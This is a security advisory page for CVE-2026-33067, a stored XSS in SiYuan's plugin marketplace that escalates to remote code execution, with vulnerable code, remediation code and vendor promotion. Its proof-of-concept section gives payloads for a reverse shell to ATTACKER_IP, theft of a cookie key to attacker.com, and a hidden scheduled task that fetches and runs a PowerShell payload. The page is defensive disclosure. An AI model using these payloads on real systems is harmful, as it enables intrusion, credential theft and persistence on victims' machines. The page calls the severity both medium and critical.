CVE-2026-33067

CVE-2026-33067 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260317012524-fe4523fff2c8. It is fixed in 0.0.0-20260317012524-fe4523fff2c8.

Summary

Stored XSS to RCE via Unsanitized Bazaar Package Metadata

SiYuan's Bazaar (community marketplace) renders package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system, with zero user interaction beyond opening the marketplace tab.

Affected Component

  • Metadata rendering: app/src/config/bazaar.ts:275-277
  • Electron config: app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)

Affected Versions

  • SiYuan <= 3.5.9

Severity

Critical, CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)

Vulnerable Code

In app/src/config/bazaar.ts:275-277, package metadata is injected directly into HTML templates without escaping:

// Package name injected directly, NO escaping
${item.preferredName}${item.preferredName !== item.name
    ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}

// Package description, title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
    ${item.preferredDesc || ""}  <!-- UNESCAPED HTML -->
</div>

The inconsistency is notable: the title attribute is escaped via escapeAttr(), but the actual rendered text content is not, indicating the risk was partially recognized but incompletely mitigated.

The Electron renderer at app/electron/main.js:422-426 is configured with:

webPreferences: {
    nodeIntegration: true,
    contextIsolation: false,
    // ...
}

This means any JavaScript executing in the renderer process has direct access to Node.js APIs including require('child_process'), require('fs'), and require('os').

Proof of Concept

Step 1: Create a malicious plugin manifest

Create a GitHub repository with a valid SiYuan plugin structure. In plugin.json:

{
    "name": "helpful-productivity-plugin",
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
    },
    "description": {
        "default": "Boost your productivity with smart templates"
    },
    "version": "1.0.0",
    "author": "attacker",
    "url": "https://github.com/attacker/helpful-productivity-plugin",
    "minAppVersion": "2.0.0"
}

Step 2: Submit to Bazaar

Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).

Step 3: Zero-click RCE

When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious displayName. The <img src=x> tag fails to load, firing the onerror handler, which calls require('child_process').exec('calc.exe').

No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.

Escalation: Reverse shell

{
    "displayName": {
        "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
    }
}

Escalation: Data exfiltration (API token theft)

{
    "displayName": {
        "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
    }
}

Escalation: Silent persistence (Windows)

{
    "displayName": {
        "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
    }
}

Attack Scenario

  1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
  2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
  3. The plugin.json manifest contains an XSS payload in the displayName or description field.
  4. When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
  5. The injected <img onerror> (or <svg onload>, <details ontoggle>, etc.) fires automatically.
  6. JavaScript executes in the Electron renderer with full Node.js access (nodeIntegration: true).
  7. The attacker achieves arbitrary OS command execution, reverse shell, data exfiltration, persistence, ransomware, etc.

The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.

1. Escape all package metadata in template rendering (bazaar.ts)

function escapeHtml(str: string): string {
    return str.replace(/&/g, '&amp;').replace(/</g, '&lt;')
              .replace(/>/g, '&gt;').replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>

2. Server-side sanitization in the Bazaar index pipeline

Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil {
        return
    }
    for k, v := range pkg.DisplayName {
        pkg.DisplayName[k] = html.EscapeString(v)
    }
    for k, v := range pkg.Description {
        pkg.Description[k] = html.EscapeString(v)
    }
}

3. Long-term: Harden Electron configuration

webPreferences: {
    nodeIntegration: false,
    contextIsolation: true,
    sandbox: true,
}

Impact

  • Full remote code execution on any SiYuan desktop user who browses the Bazaar
  • Zero-click, payload fires on page load, no interaction required
  • Supply-chain attack, targets the entire SiYuan user community via the official marketplace
  • Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
  • Can install persistent backdoors, scheduled tasks, or ransomware
  • Affects all platforms: Windows, macOS, Linux

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

github.com/siyuan-note/siyuan/kernel (< 0.0.0-20260317012524-fe4523fff2c8)

Security releases

github.com/siyuan-note/siyuan/kernel → 0.0.0-20260317012524-fe4523fff2c8 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260317012524-fe4523fff2c8 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-33067? CVE-2026-33067 is a medium-severity cross-site scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260317012524-fe4523fff2c8. It is fixed in 0.0.0-20260317012524-fe4523fff2c8. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-33067? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260317012524-fe4523fff2c8 is affected.
  3. Is there a fix for CVE-2026-33067? Yes. CVE-2026-33067 is fixed in 0.0.0-20260317012524-fe4523fff2c8. Upgrade to this version or later.
  4. Is CVE-2026-33067 exploitable, and should I be worried? Whether CVE-2026-33067 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-33067 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-33067? Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260317012524-fe4523fff2c8 or later.

Other vulnerabilities in github.com/siyuan-note/siyuan/kernel

CVE-2026-45375CVE-2026-45371CVE-2026-45148CVE-2026-45147CVE-2026-44588

Stop the waste.
Protect your environment with Kodem.